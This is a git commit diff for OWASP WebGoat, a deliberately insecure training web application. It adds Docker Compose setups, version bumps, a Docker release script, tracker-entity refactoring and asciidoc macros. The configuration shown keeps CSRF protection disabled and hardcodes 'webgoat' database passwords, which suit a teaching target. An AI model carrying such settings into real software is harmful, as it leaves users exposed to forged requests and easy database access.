merging from release branch ... PR's and Nanne's recent work
This commit is contained in:
commit
927bbad488
1
.gitignore
vendored
1
.gitignore
vendored
@ -42,3 +42,4 @@ webgoat-lessons/**/target
|
|||||||
**/.DS_Store
|
**/.DS_Store
|
||||||
webgoat-server/mongo-data/*
|
webgoat-server/mongo-data/*
|
||||||
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
|
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
|
||||||
|
/.sonatype
|
@ -40,6 +40,15 @@ docker pull webgoat/webgoat-8.0
|
|||||||
docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh
|
docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh
|
||||||
```
|
```
|
||||||
|
|
||||||
|
If you want to keep the database between Docker sessions you need to map the WebGoat data directory to a
|
||||||
|
folder on the host system as follows:
|
||||||
|
|
||||||
|
```Shell
|
||||||
|
docker run -p 8080:8080 -it -v /tmp/webgoat-data:/home/webgoat/.webgoat-${VERSION} webgoat/webgoat-8.0 /home/webgoat/start.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
where `${VERSION}` is for example `v8.0.0.M14`. The data will now be stored in `/tmp/webgoat-data` on your host system.
|
||||||
|
|
||||||
Wait for the Docker container to start, and run `docker ps` to verify it's running.
|
Wait for the Docker container to start, and run `docker ps` to verify it's running.
|
||||||
|
|
||||||
- If you are using `docker-machine`, verify the machine IP using `docker-machine env`
|
- If you are using `docker-machine`, verify the machine IP using `docker-machine env`
|
||||||
|
35
docker-compose-postgres.yml
Normal file
35
docker-compose-postgres.yml
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
version: '2.0'
|
||||||
|
|
||||||
|
services:
|
||||||
|
webgoat:
|
||||||
|
image: webgoat/webgoat-8.0
|
||||||
|
user: webgoat
|
||||||
|
environment:
|
||||||
|
- WEBWOLF_HOST=webwolf
|
||||||
|
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat
|
||||||
|
- spring.datasource.username=webgoat
|
||||||
|
- spring.datasource.password=webgoat
|
||||||
|
- spring.datasource.driver-class-name=org.postgresql.Driver
|
||||||
|
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
webwolf:
|
||||||
|
image: webgoat/webwolf
|
||||||
|
environment:
|
||||||
|
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat
|
||||||
|
- spring.datasource.username=webgoat
|
||||||
|
- spring.datasource.password=webgoat
|
||||||
|
- spring.datasource.driver-class-name=org.postgresql.Driver
|
||||||
|
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
|
||||||
|
ports:
|
||||||
|
- "8081:8081"
|
||||||
|
db:
|
||||||
|
container_name: webgoat_db
|
||||||
|
image: postgres:latest
|
||||||
|
environment:
|
||||||
|
- POSTGRES_PASSWORD=webgoat
|
||||||
|
- POSTGRES_USER=webgoat
|
||||||
|
- POSTGRES_DB=webgoat
|
||||||
|
ports:
|
||||||
|
- "5432:5432"
|
||||||
|
|
@ -1,15 +1,28 @@
|
|||||||
version: '2.0'
|
version: '2.1'
|
||||||
|
|
||||||
services:
|
services:
|
||||||
webgoat:
|
webgoat:
|
||||||
build: webgoat-server/
|
image: webgoat/webgoat-8.0
|
||||||
command: "sh /home/webgoat/start.sh"
|
environment:
|
||||||
|
- WEBWOLF_HOST=webwolf
|
||||||
|
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
webwolf:
|
|
||||||
build: webwolf/
|
|
||||||
command: "sh /home/webwolf/start.sh"
|
|
||||||
depends_on:
|
depends_on:
|
||||||
- webgoat
|
- db
|
||||||
|
webwolf:
|
||||||
|
image: webgoat/webwolf
|
||||||
|
environment:
|
||||||
|
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
|
||||||
ports:
|
ports:
|
||||||
- "8081:8081"
|
- "8081:8081"
|
||||||
|
depends_on:
|
||||||
|
- db
|
||||||
|
db:
|
||||||
|
image: blacklabelops/hsqldb
|
||||||
|
container_name: webgoat_db
|
||||||
|
environment:
|
||||||
|
- HSQLDB_TRACE=false
|
||||||
|
- HSQLDB_SILENT=true
|
||||||
|
- HSQLDB_DATABASE_NAME=webgoat
|
||||||
|
- HSQLDB_DATABASE_ALIAS=webgoat
|
||||||
|
6
pom.xml
6
pom.xml
@ -5,7 +5,7 @@
|
|||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-parent</artifactId>
|
<artifactId>webgoat-parent</artifactId>
|
||||||
<packaging>pom</packaging>
|
<packaging>pom</packaging>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
|
|
||||||
<name>WebGoat Parent Pom</name>
|
<name>WebGoat Parent Pom</name>
|
||||||
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
|
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
|
||||||
@ -20,7 +20,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-parent</artifactId>
|
<artifactId>spring-boot-starter-parent</artifactId>
|
||||||
<version>1.5.9.RELEASE</version>
|
<version>1.5.12.RELEASE</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<licenses>
|
<licenses>
|
||||||
@ -135,7 +135,7 @@
|
|||||||
<gatling-plugin.version>2.2.4</gatling-plugin.version>
|
<gatling-plugin.version>2.2.4</gatling-plugin.version>
|
||||||
<guava.version>18.0</guava.version>
|
<guava.version>18.0</guava.version>
|
||||||
<h2.version>1.4.190</h2.version>
|
<h2.version>1.4.190</h2.version>
|
||||||
<hsqldb.version>2.3.2</hsqldb.version>
|
<hsqldb.version>2.3.4</hsqldb.version>
|
||||||
<j2h.version>1.3.1</j2h.version>
|
<j2h.version>1.3.1</j2h.version>
|
||||||
<jackson-core.version>2.6.3</jackson-core.version>
|
<jackson-core.version>2.6.3</jackson-core.version>
|
||||||
<jackson-databind.version>2.6.3</jackson-databind.version>
|
<jackson-databind.version>2.6.3</jackson-databind.version>
|
||||||
|
@ -20,3 +20,21 @@ elif [ ! -z "${TRAVIS_TAG}" ]; then
|
|||||||
else
|
else
|
||||||
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
|
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|
||||||
|
export REPO=webgoat/webwolf
|
||||||
|
cd ..
|
||||||
|
cd webwolf
|
||||||
|
ls target/
|
||||||
|
|
||||||
|
if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then
|
||||||
|
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
|
||||||
|
docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
|
||||||
|
docker push $REPO
|
||||||
|
elif [ ! -z "${TRAVIS_TAG}" ]; then
|
||||||
|
# Creating a tag build we push it to Docker with that tag
|
||||||
|
docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest .
|
||||||
|
docker push $REPO
|
||||||
|
else
|
||||||
|
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
|
||||||
|
fi
|
@ -10,7 +10,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-parent</artifactId>
|
<artifactId>webgoat-parent</artifactId>
|
||||||
<version>8.0.0.M3</version>
|
<version>v8.0.0.M14</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<profiles>
|
<profiles>
|
||||||
|
@ -35,6 +35,7 @@ import com.google.common.collect.Sets;
|
|||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.asciidoctor.Asciidoctor;
|
import org.asciidoctor.Asciidoctor;
|
||||||
import org.asciidoctor.extension.JavaExtensionRegistry;
|
import org.asciidoctor.extension.JavaExtensionRegistry;
|
||||||
|
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
|
||||||
import org.owasp.webgoat.asciidoc.WebWolfMacro;
|
import org.owasp.webgoat.asciidoc.WebWolfMacro;
|
||||||
import org.owasp.webgoat.i18n.Language;
|
import org.owasp.webgoat.i18n.Language;
|
||||||
import org.thymeleaf.TemplateProcessingParameters;
|
import org.thymeleaf.TemplateProcessingParameters;
|
||||||
@ -86,6 +87,7 @@ public class AsciiDoctorTemplateResolver extends TemplateResolver {
|
|||||||
StringWriter writer = new StringWriter();
|
StringWriter writer = new StringWriter();
|
||||||
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
|
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
|
||||||
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
|
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
|
||||||
|
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
|
||||||
|
|
||||||
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
||||||
return new ByteArrayInputStream(writer.getBuffer().toString().getBytes(UTF_8));
|
return new ByteArrayInputStream(writer.getBuffer().toString().getBytes(UTF_8));
|
||||||
|
@ -130,6 +130,7 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter {
|
|||||||
@Bean
|
@Bean
|
||||||
public PluginMessages pluginMessages(Messages messages, Language language) {
|
public PluginMessages pluginMessages(Messages messages, Language language) {
|
||||||
PluginMessages pluginMessages = new PluginMessages(messages, language);
|
PluginMessages pluginMessages = new PluginMessages(messages, language);
|
||||||
|
pluginMessages.setDefaultEncoding("UTF-8");
|
||||||
pluginMessages.setBasenames("i18n/WebGoatLabels");
|
pluginMessages.setBasenames("i18n/WebGoatLabels");
|
||||||
return pluginMessages;
|
return pluginMessages;
|
||||||
}
|
}
|
||||||
@ -142,6 +143,7 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter {
|
|||||||
@Bean
|
@Bean
|
||||||
public Messages messageSource(Language language) {
|
public Messages messageSource(Language language) {
|
||||||
Messages messages = new Messages(language);
|
Messages messages = new Messages(language);
|
||||||
|
messages.setDefaultEncoding("UTF-8");
|
||||||
messages.setBasename("classpath:i18n/messages");
|
messages.setBasename("classpath:i18n/messages");
|
||||||
return messages;
|
return messages;
|
||||||
}
|
}
|
||||||
|
@ -0,0 +1,23 @@
|
|||||||
|
package org.owasp.webgoat.asciidoc;
|
||||||
|
|
||||||
|
import org.asciidoctor.ast.AbstractBlock;
|
||||||
|
import org.asciidoctor.extension.InlineMacroProcessor;
|
||||||
|
import org.springframework.core.env.Environment;
|
||||||
|
import org.springframework.util.StringUtils;
|
||||||
|
import org.springframework.web.context.request.RequestContextHolder;
|
||||||
|
import org.springframework.web.context.request.ServletRequestAttributes;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class WebGoatVersionMacro extends InlineMacroProcessor {
|
||||||
|
|
||||||
|
public WebGoatVersionMacro(String macroName, Map<String, Object> config) {
|
||||||
|
super(macroName, config);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
|
||||||
|
return EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
|
||||||
|
}
|
||||||
|
}
|
@ -10,6 +10,12 @@ import org.springframework.web.context.request.ServletRequestAttributes;
|
|||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Usage in asciidoc:
|
||||||
|
* <p>
|
||||||
|
* webWolfLink:here[] will display a href with here as text
|
||||||
|
* webWolfLink:landing[noLink] will display the complete url, for example: http://WW_HOST:WW_PORT/landing
|
||||||
|
*/
|
||||||
public class WebWolfMacro extends InlineMacroProcessor {
|
public class WebWolfMacro extends InlineMacroProcessor {
|
||||||
|
|
||||||
public WebWolfMacro(String macroName, Map<String, Object> config) {
|
public WebWolfMacro(String macroName, Map<String, Object> config) {
|
||||||
@ -20,9 +26,17 @@ public class WebWolfMacro extends InlineMacroProcessor {
|
|||||||
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
|
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
|
||||||
Environment env = EnvironmentExposure.getEnv();
|
Environment env = EnvironmentExposure.getEnv();
|
||||||
String hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port"));
|
String hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port"));
|
||||||
|
|
||||||
|
if (displayCompleteLinkNoFormatting(attributes)) {
|
||||||
|
return hostname + (hostname.endsWith("/") ? "" : "/") + target;
|
||||||
|
}
|
||||||
return "<a href=\"" + hostname + "\" target=\"_blank\">" + target + "</a>";
|
return "<a href=\"" + hostname + "\" target=\"_blank\">" + target + "</a>";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
|
||||||
|
return attributes.values().stream().filter(a -> a.equals("noLink")).findFirst().isPresent();
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Look at the remote address from received from the browser first. This way it will also work if you run
|
* Look at the remote address from received from the browser first. This way it will also work if you run
|
||||||
* the browser in a Docker container and WebGoat on your local machine.
|
* the browser in a Docker container and WebGoat on your local machine.
|
||||||
|
@ -55,7 +55,7 @@ public abstract class AssignmentEndpoint extends Endpoint {
|
|||||||
|
|
||||||
//// TODO: 11/13/2016 events better fit?
|
//// TODO: 11/13/2016 events better fit?
|
||||||
protected AttackResult trackProgress(AttackResult attackResult) {
|
protected AttackResult trackProgress(AttackResult attackResult) {
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
if (userTracker == null) {
|
if (userTracker == null) {
|
||||||
userTracker = new UserTracker(webSession.getUserName());
|
userTracker = new UserTracker(webSession.getUserName());
|
||||||
}
|
}
|
||||||
|
@ -1,11 +1,9 @@
|
|||||||
package org.owasp.webgoat.lessons;
|
package org.owasp.webgoat.lessons;
|
||||||
|
|
||||||
|
import com.google.common.collect.Lists;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
|
|
||||||
import javax.persistence.Entity;
|
import javax.persistence.*;
|
||||||
import javax.persistence.Id;
|
|
||||||
import javax.persistence.OneToMany;
|
|
||||||
import javax.persistence.Transient;
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -37,19 +35,30 @@ import java.util.List;
|
|||||||
* @version $Id: $Id
|
* @version $Id: $Id
|
||||||
* @since November 25, 2016
|
* @since November 25, 2016
|
||||||
*/
|
*/
|
||||||
@AllArgsConstructor
|
|
||||||
@RequiredArgsConstructor
|
|
||||||
@NoArgsConstructor
|
|
||||||
@Getter
|
@Getter
|
||||||
@EqualsAndHashCode
|
@EqualsAndHashCode
|
||||||
@Entity
|
@Entity
|
||||||
public class Assignment {
|
public class Assignment {
|
||||||
@NonNull
|
|
||||||
@Id
|
@Id
|
||||||
|
@GeneratedValue(strategy = GenerationType.AUTO)
|
||||||
|
private Long id;
|
||||||
private String name;
|
private String name;
|
||||||
@NonNull
|
|
||||||
private String path;
|
private String path;
|
||||||
@Transient
|
@Transient
|
||||||
private List<String> hints;
|
private List<String> hints;
|
||||||
|
|
||||||
|
private Assignment() {
|
||||||
|
//Hibernate
|
||||||
|
}
|
||||||
|
|
||||||
|
public Assignment(String name, String path) {
|
||||||
|
this(name, path, Lists.newArrayList());
|
||||||
|
}
|
||||||
|
|
||||||
|
public Assignment(String name, String path, List<String> hints) {
|
||||||
|
this.name = name;
|
||||||
|
this.path = path;
|
||||||
|
this.hints = hints;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -73,7 +73,7 @@ public class LessonMenuService {
|
|||||||
List<LessonMenuItem> showLeftNav() {
|
List<LessonMenuItem> showLeftNav() {
|
||||||
List<LessonMenuItem> menu = new ArrayList<>();
|
List<LessonMenuItem> menu = new ArrayList<>();
|
||||||
List<Category> categories = course.getCategories();
|
List<Category> categories = course.getCategories();
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
|
|
||||||
for (Category category : categories) {
|
for (Category category : categories) {
|
||||||
LessonMenuItem categoryItem = new LessonMenuItem();
|
LessonMenuItem categoryItem = new LessonMenuItem();
|
||||||
|
@ -40,17 +40,19 @@ public class LessonProgressService {
|
|||||||
@RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json")
|
@RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public Map getLessonInfo() {
|
public Map getLessonInfo() {
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
|
|
||||||
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
|
|
||||||
Map json = Maps.newHashMap();
|
Map json = Maps.newHashMap();
|
||||||
String successMessage = "";
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
boolean lessonCompleted = false;
|
if (webSession.getCurrentLesson() != null) {
|
||||||
if (lessonTracker != null) {
|
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
|
||||||
lessonCompleted = lessonTracker.isLessonSolved();
|
String successMessage = "";
|
||||||
successMessage = "LessonCompleted"; //@todo we still use this??
|
boolean lessonCompleted = false;
|
||||||
|
if (lessonTracker != null) {
|
||||||
|
lessonCompleted = lessonTracker.isLessonSolved();
|
||||||
|
successMessage = "LessonCompleted"; //@todo we still use this??
|
||||||
|
}
|
||||||
|
json.put("lessonCompleted", lessonCompleted);
|
||||||
|
json.put("successMessage", successMessage);
|
||||||
}
|
}
|
||||||
json.put("lessonCompleted", lessonCompleted);
|
|
||||||
json.put("successMessage", successMessage);
|
|
||||||
return json;
|
return json;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -63,7 +65,7 @@ public class LessonProgressService {
|
|||||||
@RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json")
|
@RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public List<LessonOverview> lessonOverview() {
|
public List<LessonOverview> lessonOverview() {
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
AbstractLesson currentLesson = webSession.getCurrentLesson();
|
AbstractLesson currentLesson = webSession.getCurrentLesson();
|
||||||
List<LessonOverview> result = Lists.newArrayList();
|
List<LessonOverview> result = Lists.newArrayList();
|
||||||
if ( currentLesson != null ) {
|
if ( currentLesson != null ) {
|
||||||
|
@ -32,6 +32,7 @@ import com.google.common.collect.Lists;
|
|||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.Setter;
|
import lombok.Setter;
|
||||||
|
import org.owasp.webgoat.i18n.PluginMessages;
|
||||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||||
import org.owasp.webgoat.session.Course;
|
import org.owasp.webgoat.session.Course;
|
||||||
import org.owasp.webgoat.session.WebSession;
|
import org.owasp.webgoat.session.WebSession;
|
||||||
@ -57,6 +58,7 @@ public class ReportCardService {
|
|||||||
private final WebSession webSession;
|
private final WebSession webSession;
|
||||||
private final UserTrackerRepository userTrackerRepository;
|
private final UserTrackerRepository userTrackerRepository;
|
||||||
private final Course course;
|
private final Course course;
|
||||||
|
private final PluginMessages pluginMessages;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Endpoint which generates the report card for the current use to show the stats on the solved lessons
|
* Endpoint which generates the report card for the current use to show the stats on the solved lessons
|
||||||
@ -64,7 +66,7 @@ public class ReportCardService {
|
|||||||
@GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
|
@GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public ReportCard reportCard() {
|
public ReportCard reportCard() {
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
List<AbstractLesson> lessons = course.getLessons();
|
List<AbstractLesson> lessons = course.getLessons();
|
||||||
ReportCard reportCard = new ReportCard();
|
ReportCard reportCard = new ReportCard();
|
||||||
reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
|
reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
|
||||||
@ -74,7 +76,7 @@ public class ReportCardService {
|
|||||||
for (AbstractLesson lesson : lessons) {
|
for (AbstractLesson lesson : lessons) {
|
||||||
LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
|
LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
|
||||||
LessonStatistics lessonStatistics = new LessonStatistics();
|
LessonStatistics lessonStatistics = new LessonStatistics();
|
||||||
lessonStatistics.setName(lesson.getTitle());
|
lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));
|
||||||
lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts());
|
lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts());
|
||||||
lessonStatistics.setSolved(lessonTracker.isLessonSolved());
|
lessonStatistics.setSolved(lessonTracker.isLessonSolved());
|
||||||
reportCard.lessonStatistics.add(lessonStatistics);
|
reportCard.lessonStatistics.add(lessonStatistics);
|
||||||
|
@ -59,7 +59,7 @@ public class RestartLessonService {
|
|||||||
AbstractLesson al = webSession.getCurrentLesson();
|
AbstractLesson al = webSession.getCurrentLesson();
|
||||||
log.debug("Restarting lesson: " + al);
|
log.debug("Restarting lesson: " + al);
|
||||||
|
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
userTracker.reset(al);
|
userTracker.reset(al);
|
||||||
userTrackerRepository.save(userTracker);
|
userTrackerRepository.save(userTracker);
|
||||||
}
|
}
|
||||||
|
@ -47,8 +47,11 @@ import java.util.stream.Collectors;
|
|||||||
*/
|
*/
|
||||||
@Entity
|
@Entity
|
||||||
public class LessonTracker {
|
public class LessonTracker {
|
||||||
@Getter
|
|
||||||
@Id
|
@Id
|
||||||
|
@GeneratedValue(strategy = GenerationType.AUTO)
|
||||||
|
private Long id;
|
||||||
|
@Getter
|
||||||
private String lessonName;
|
private String lessonName;
|
||||||
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||||
private final Set<Assignment> solvedAssignments = Sets.newHashSet();
|
private final Set<Assignment> solvedAssignments = Sets.newHashSet();
|
||||||
|
@ -38,7 +38,7 @@ public class Scoreboard {
|
|||||||
List<WebGoatUser> allUsers = userRepository.findAll();
|
List<WebGoatUser> allUsers = userRepository.findAll();
|
||||||
List<Ranking> rankings = Lists.newArrayList();
|
List<Ranking> rankings = Lists.newArrayList();
|
||||||
for (WebGoatUser user : allUsers) {
|
for (WebGoatUser user : allUsers) {
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(user.getUsername());
|
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
|
||||||
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
|
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
|
||||||
}
|
}
|
||||||
return rankings;
|
return rankings;
|
||||||
|
@ -50,6 +50,9 @@ import java.util.stream.Collectors;
|
|||||||
public class UserTracker {
|
public class UserTracker {
|
||||||
|
|
||||||
@Id
|
@Id
|
||||||
|
@GeneratedValue(strategy = GenerationType.AUTO)
|
||||||
|
private Long id;
|
||||||
|
@Column(name = "username")
|
||||||
private String user;
|
private String user;
|
||||||
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||||
private Set<LessonTracker> lessonTrackers = Sets.newHashSet();
|
private Set<LessonTracker> lessonTrackers = Sets.newHashSet();
|
||||||
|
@ -8,5 +8,6 @@ import org.springframework.data.jpa.repository.JpaRepository;
|
|||||||
*/
|
*/
|
||||||
public interface UserTrackerRepository extends JpaRepository<UserTracker, String> {
|
public interface UserTrackerRepository extends JpaRepository<UserTracker, String> {
|
||||||
|
|
||||||
|
UserTracker findByUser(String user);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -3,9 +3,12 @@ server.error.path=/error.html
|
|||||||
server.session.timeout=600
|
server.session.timeout=600
|
||||||
server.contextPath=/WebGoat
|
server.contextPath=/WebGoat
|
||||||
server.port=8080
|
server.port=8080
|
||||||
|
server.address=127.0.0.1
|
||||||
|
|
||||||
spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webgoat
|
spring.datasource.url=jdbc:hsqldb:hsql://localhost:9001/webgoat
|
||||||
spring.jpa.hibernate.ddl-auto=update
|
spring.jpa.hibernate.ddl-auto=update
|
||||||
|
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
|
||||||
|
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver
|
||||||
|
|
||||||
|
|
||||||
logging.level.org.springframework=WARN
|
logging.level.org.springframework=WARN
|
||||||
@ -19,9 +22,10 @@ security.enable-csrf=false
|
|||||||
spring.resources.cache-period=0
|
spring.resources.cache-period=0
|
||||||
spring.thymeleaf.cache=false
|
spring.thymeleaf.cache=false
|
||||||
|
|
||||||
|
webgoat.start.hsqldb=true
|
||||||
webgoat.clean=false
|
webgoat.clean=false
|
||||||
webgoat.server.directory=${user.home}/.webgoat/
|
webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/
|
||||||
webgoat.user.directory=${user.home}/.webgoat/
|
webgoat.user.directory=${user.home}/.webgoat-${webgoat.build.version}/
|
||||||
webgoat.build.version=@project.version@
|
webgoat.build.version=@project.version@
|
||||||
webgoat.build.number=@build.number@
|
webgoat.build.number=@build.number@
|
||||||
webgoat.email=webgoat@owasp.org
|
webgoat.email=webgoat@owasp.org
|
||||||
|
@ -1066,6 +1066,7 @@ span.show-next-page, span.show-prev-page {
|
|||||||
|
|
||||||
/* ATTACK DISPLAY */
|
/* ATTACK DISPLAY */
|
||||||
.attack-container {
|
.attack-container {
|
||||||
|
position: relative;
|
||||||
background-color: #f1f1f1;
|
background-color: #f1f1f1;
|
||||||
border: 2px solid #a66;
|
border: 2px solid #a66;
|
||||||
border-radius: 12px;
|
border-radius: 12px;
|
||||||
@ -1151,3 +1152,15 @@ div.captured-flag {
|
|||||||
width: 1268px;
|
width: 1268px;
|
||||||
margin-bottom: 20px;
|
margin-bottom: 20px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#content {
|
||||||
|
position:relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.webwolf-enabled {
|
||||||
|
position:absolute;
|
||||||
|
top: 10px;
|
||||||
|
right: 25px;
|
||||||
|
width: 42px;
|
||||||
|
height: 47px;
|
||||||
|
}
|
@ -1,29 +1,33 @@
|
|||||||
define(['jquery',
|
define(['jquery',
|
||||||
'underscore',
|
'underscore',
|
||||||
'backbone',
|
'backbone',
|
||||||
'goatApp/model/MenuModel'],
|
'goatApp/model/MenuModel'],
|
||||||
function($,_,Backbone,MenuModel) {
|
function ($, _, Backbone, MenuModel) {
|
||||||
|
|
||||||
return Backbone.Collection.extend({
|
return Backbone.Collection.extend({
|
||||||
model: MenuModel,
|
model: MenuModel,
|
||||||
url:'service/lessonmenu.mvc',
|
url: 'service/lessonmenu.mvc',
|
||||||
initialize: function () {
|
|
||||||
var self = this;
|
|
||||||
this.fetch();
|
|
||||||
},
|
|
||||||
|
|
||||||
onDataLoaded: function() {
|
initialize: function () {
|
||||||
this.trigger('menuData:loaded');
|
var self = this;
|
||||||
},
|
this.fetch();
|
||||||
|
setInterval(function () {
|
||||||
|
this.fetch()
|
||||||
|
}.bind(this), 5000);
|
||||||
|
},
|
||||||
|
|
||||||
fetch: function() {
|
onDataLoaded: function () {
|
||||||
var self=this;
|
this.trigger('menuData:loaded');
|
||||||
Backbone.Collection.prototype.fetch.apply(this,arguments).then(
|
},
|
||||||
function(data) {
|
|
||||||
this.models = data;
|
fetch: function () {
|
||||||
self.onDataLoaded();
|
var self = this;
|
||||||
}
|
Backbone.Collection.prototype.fetch.apply(this, arguments).then(
|
||||||
);
|
function (data) {
|
||||||
}
|
this.models = data;
|
||||||
});
|
self.onDataLoaded();
|
||||||
});
|
}
|
||||||
|
);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
